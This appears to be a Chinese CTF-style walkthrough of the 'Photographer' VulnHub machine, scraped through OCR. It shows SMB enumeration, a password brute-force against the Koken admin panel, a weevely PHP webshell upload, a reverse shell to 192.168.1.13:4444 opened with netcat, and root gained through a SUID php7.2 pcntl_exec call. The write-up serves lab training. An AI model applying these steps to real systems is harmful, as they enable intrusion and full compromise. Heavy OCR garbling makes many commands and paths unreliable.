Photographer-writeup

NBEh e F 2020-08-18 23:37:32 K Afi 145 g

SFHERL BiF Bl CEBRSE: linux Z24x php

FEALFE B RSO R A&, #E5.CC 4.0 BY-SA RN, #5480 I b5 AL BERR A B 1
A CEERE: hitps://blog.csdn.net/weixin_43404260/article/details/108090355

FRAL

| 153% [EIR#E 2 DR
8 WS 01T
T LS

=
6 i 0 1T
PIEEZE

Photographer-writeup

0x00 15 S it £
T F A nmapF i — im0 AR5

nmap -sV -Pn 192.168.1.21
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-18 15:56 CST
Nmap scan report for 192.168.1.21
Host is up (0.00044s latency).
Not shown: 996 closed ports
STATE SERVICE VERSION

open http Apache httpd 2.4.18 ((Ubuntu))

2
open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
X

open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
open http Apache httpd 2.4.18 ((Ubuntu))

MAC Address: 08:00:27:6C:68:BF (Oracle VirtualBox virtual NIC)

Service Info: Host: PHOTOGRAPHER

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 21.68 seconds
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Your site tagline

daisa ahomi

Home Timeline Albums Content Essays

No featured content found. Assign some in the Library.

Home Albums Content Essays

© daisa ahomi | Built with Koken
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Share Enumeration on 192.168.1.21

Sharename Type Comment

print$ Disk Printer Drivers

sambashare Disk Samba on Ubuntu

IPCS IPC IPC Service (photographer server (Samba, Ubuntu})
SMB1 disabled — no workgroup available

[+] Attempting to map shares on 192.168.1.21

S/192 . 168.1.21/print$ Mapping: DENIED, Listing: N/A
//192.168.1.21/sambashare Mapping: OK, Listing: OK
S/192 . 168.1.21/1IPCS [E] Can't understand response:
NT_STATUS_OBJECT_NAME_NOT_FOUND Llistinmg \=*

RIS F= H Stsambashare, /475 E 5 IE

{i Hismbclienti 176 A7 W LE L 3 fF

- # smbclient //192.168.1.21/sambashare
Enter WORKGROUP\root's password:
Try "help” to get a list of possible commands.
smb: \>» 1ls
D @ Tue Jul 21 29:30:87 2028
D @ Tue Jul 21 17:44:25 2028
M 503 Tue Jul 21 29:29:40 2020
N 13930308 Tue Jul 21 ©9:22:23 2020

mailsent.txt
wordpress.bkp.zip

278627392 blocks of size 1024. 264268400 blocks available

smb: \> get mailsent.txt //¥mailsent.txt FzE|AH

Message-ID: <4129F3CA.2020509@dc.edu>

Date: Mon, 20 Jul 2020 11:40:36 -0400

From: Agi Clarence <agi@photographer.com>

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.0.1) Gecko/20020823 Netscape/7.0
X-Accept-Language: en-us, en

MIME-Version: 1.0

To: Daisa Ahomi <daisa@photographer.com>

Subject: To Do - Daisa Website's

Content-Type: text/plain; charset=us-ascii; format=flowed

Content-Transfer-Encoding: 7bit
Hi Daisa!

Your site is ready now.
Don't forget your secret, my babygirl ;)
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Request 4 | Payload | Status | Error | Timeout | Length | Comment

3 123456789 404 O ) 239 5
4 password 404 O 0 239 )
5 iloveyou 404 O g 239

6 princess 404 O | 239

7 1234567 404 ] J 239

8 rockyou 404 O )] 239

9 12345678 404 )] J 239

10 abc123 404 O O 239

11 nicole 404 O O 239

12 daniel 404 ] O 239

13 | babygirl | 302 OJ O 1758

14 monkey 404 )] )] 239

15 lovely 404 O g 239 -
16 iessica 404 [ 1 239 ¥
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Library

Library Inspector

Import content

Content

Last import Photos
Favorites Videos
Featured

Quick collection

Unlisted

Private

Drop files here or click to browse

Last import

Featured albums
Public
Unlisted

. Cancel
Private
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Library Edit Filter Share Content Inspector

Content 123.php il Download File
Last import 123.php

Favorites

Featured

Quick collection

Unlisted

Private

Sort: Filename Deselect F‘.” Thumbnails H Import content
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200 # 192.1... api.php?/content/6/categories  console... js.. B&EF 5! W ARk il
200 #192.1.. api.php?/content/limit:50 console... js.. B P Sl ttp://192.168.1.21:8000/storage/originals/60/d 4/123.php
301 %4 192.1... undefined console... ht.. 1.32KB 3 R 2000k ®
302 # 192.1...  fadmin/undefined/ console... ht.. 1.30KB 3wk HTTP/1.1
200 # 192.1... [error/404/ console... ht.. 1.42KB 3. & 8.11KB (k' 7.88 KB)
301 # 192.1... undefined console.. ht. 132KB 3,  Referrer B& no-referrer-when-downgrade

# 192.1... fadmin/undefined/ console... ht.. 1.30KB 3. v MAZk (234 FF) [Ris

200 #192.1...  ferror/404/ console... ht.. 1.42KB 3 Connection: Keep-Alive
304 #192.1... api.php?/content/6/categories  console.. js.. BE&F 5! @ content-Type: text/html; charset=UTF-8

Date: Tue, 18 Aug 2020 14:48:51 GMT
Keep-Alive: timeout=5, max=92
Server: Apache/2.4.18 (Ubuntu)

#192.1... api.php?/content/5/albums/co... console.. js.. BE&F 14

#192.1... api.php?/content/5/albums/co... console.. js.. 456 Ff 1¢

Connection: keep-alive

Cookie: koken_referrer=%2Fcontent%2F; koken_session_ci=LVfdeqyTD5X7kkX4YNWG2zhGz

cfRIZOZG41SZGXIZX4GYFaUKFIMCZghA4eE%2BzI15gWIGbyBVdVsL%2FUqYc67pmaSRhFOH

LI121Z6DZWJAIXuc%2Br76BvOli2neiw3q6h%2Bfq3vn9xnT465NSwWtldn3Rm%2FKwnVx149G

#192.1... apiphp?/content/4/categories  console.. js.. E&#F 5 5WDpLOB0SI%2B%2FWD41XTweaQORHxXRPoeslJmQ5dtDBXTVVD3QRjxWhgPYFdde8fth7Sc

#192.1.. 123.php media ht.. 235%% 0 0ofxXCZ%2BThcYnr5EZPnV46XalLufXaqrHORscOHYBG1t6BleM1PqY7sMbKQiP8tw0Oqg8DnPegIC
0

% 192.1... 123.php 7] Transfer-Encoding: chunked
304 #192.1... api.php?/content/5/categories  console... js.. C&7F 5! Vary: Accept-Encoding
S 3
301 #1921 undefined console.. ht. 132k 3 7 ARk (1927 KB) i
302 #1921 jadminjundefined/ console.. ht.. 1.30KB 3 Accept: video/webm,video/ogg,video/*;q=0.9,application/ogg;q=0.7,audio/*;q=0.6*/*;q=0.5
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

200 #1921...  [error/404/ console... ht.. 1.42KB 3

5!

304 #192.1... api.php?/content/5/categories  console... js.. T&EEF

304 #192.1... api.php?/content/4/albums/co... console... js.. T&EEF KK

AITARDYzgkY3iA36ghEs2z0Rp3yoq8KuVPAasfOTbRV1eTZPWGNGZv1i27v5XMmJgZPRWIinx1
#4192.1...  api.php?/site/set_order console... ht.. 2.34 KB jgTDOU6dwWEKCV7Rw3I6cfATVGBQPro834Qma0qtzsIXhgNH5p1D9KfgzVomJORhh6FyrRROM
& 1971 aniohn?lcontent/limit-50 console_ | is. | 216KR | 2 9lc...ulCWTcFOFjbgQO4AnWI5jyd19M7{100%2BUjVi%2BupO0eY MDBfJoDhPYUlwzoVItyOXcTO

N N B
1 = S
B g &

w

S

N
prepoepoooolllo o e 0o 0P 00 N gy

A ) weevelyifil /E i php A 5



:~# weevely ﬁtta:fflqz.168.1.21:Bﬁﬁﬂfsiorage;origiﬂal556@!d4£123.51: 123
weevely 4.8.1
Target: www -datadphotographer: /var/ww/html/koken/storage/originals,/60/d4
Session: froot/.weevely/sessions/192.168.1.21/123_0.sess5ion

Shell: System shell

Browse the filesystem or execute commands starts the conmection
to the target. Type :help for more information.

weevely>
www -datag@photographer:/var/wm /html/koken/storage/originals/60/ds4 $ id

uid=33( wmw-data) gid=33(wmw-data) groups=33{wmw-data)
www -data@photographer: /var/www/html/koken/storage/originals/e60/d4 $ |

H a3 7 webshell
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we -data@photographer: /home $ 1s

agi

dalsa

lost+found
wwi-data@photographer: /home $ cd agi

www -datagphotographer: /home/agi $ 1s
Desktop

Documents

Downloads

Music

Pictures

Public

Templates

Videos

examples.desktop

share

www -datagiphotographer: /home/agi % cd share
wi -datagiphotographer: /home/agi/share $ 1s
mailsent.txt

wordpress.bkp.zip
waw-data@photographer:/home/agi/share $ |
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Desktof
Documents
Downloads
Music

Pictures
Public
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I+d1|+o No such file or directory
No such file or directory
rmission denied
Permission denied
Permission denied
Permission denied
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Permission denied
Permission denied
Permission denied
Permission denied
": Permission denied
Permission denied
Permission denied
Permission denied
Permission denied
Permission denied
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kaliJF JAnclilT nc -1vp 4444, weevelyfJshell 1 i shell I T fE :backdoor_reversetcp 192.168.1.13 4444

://nmap.org/ncat
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BRIAT find / -type £ -perm -u=s 2>/dev/null



$ find / -type f -perm -u=s 2>/dev/null
Jusr/lib/dbus-1.0/dbus-daemon-launch-helper
Jusr/lib/eject/dmcrypt-get-device
Jusr/Lib/xorg/Xorg.wrap
fusr/lib/snapd/snap-confine
fusr/lib/openssh/ssh-keysign
Jusr/1ib/x86_64-1inux-gnu/oxide-gt/chrome-sandbox
fusr/lib/policykit-1/polkit-agent-helper-1
fusr/sbin/pppd

Jfusr/bin/pkexec

Jusr/bin/passwd

Jusr/bin/newgrp

fusr/bin/gpasswd

Jfusr/bin/php7.2

Jusr/bin/sudo

Jusr/bin/chsh

Jfusr/bin/chfn

/bin/ntfs-3g

/bin/ping

/bin/fusermount

/bin/mount
/bin/ping6
/bin/umount
/bin/su
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/usr/bin/php7.2 -r

$ /usr/bin/php7.2 -r "pcntl_exec('/bin/sh', ["-p']);"

id

uid=33(www-data) gid=33(www-data) euid=8(root) groups=33(ww-data)
whoamil

root




cd /root

1s

proof.txt

cat proof.txt
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Follow me at: http://vlinlvl3lrs.com
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